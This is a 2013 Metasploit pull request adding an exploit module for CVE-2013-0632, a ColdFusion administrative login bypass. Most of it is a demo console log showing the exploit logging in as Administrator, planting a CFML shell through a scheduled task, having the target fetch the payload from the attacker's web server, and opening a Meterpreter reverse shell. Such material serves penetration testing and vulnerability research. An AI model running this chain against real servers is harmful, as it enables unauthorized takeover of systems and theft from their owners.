rapid7/metasploit-framework — pull request #2743 by Mekanismen (2013-12-09 14:26:16+00:00)
Title: added exploit module for CVE-2013-0632

Description: Adobe ColdFusion 9 Administrative Login Bypass
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication and possibly execute arbitrary code via unspecified vectors. Tested on ColdFusion 9.

Verification: .pcap from successful exploit leading to meterpreter
http://goo.gl/lxfRbO

DEMO
```
msf exploit(coldfusion_rds) > check

[+] 192.168.1.69:80 - Administrator access available
[+] 192.168.1.69:80 - ColdFusion 9 Detected
[*] The target appears to be vulnerable.
msf exploit(coldfusion_rds) > exploit

[*] Started reverse handler on 192.168.1.76:4444
[*] Building CFML shell...
[*] 192.168.1.69:80 - Starting up our web service on http://192.168.1.76:8080/liyWJPavMgq ...
[*] Using URL: http://0.0.0.0:8080/liyWJPavMgq
[*] Local IP: http://192.168.1.76:8080/liyWJPavMgq
[*] 192.168.1.69:80 - Waiting for the target to request the payload...
[*] 192.168.1.69:80 - Trying to upload payload via scheduled task...
[+] 192.168.1.69:80 - Logged in as Administrator!
[+] 192.168.1.69:80 - File path disclosed! C:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\CFIDE
[*] 192.168.1.69:80 - Sending the payload to the server...
[+] 192.168.1.69:80 - Scheduled task completed successfully
[+] 192.168.1.69:80 - Our payload is at: 192.168.1.69:80\CFIDE\BbefdkYjVF.cfm
[+] 192.168.1.69:80 - Executing payload...
[*] Sending stage (769024 bytes) to 192.168.1.69
[*] Meterpreter session 19 opened (192.168.1.76:4444 -> 192.168.1.69:51091) at 2013-12-09 14:54:28 +0100
[*] Server stopped.

meterpreter > pwd
C:\JRun4\bin
```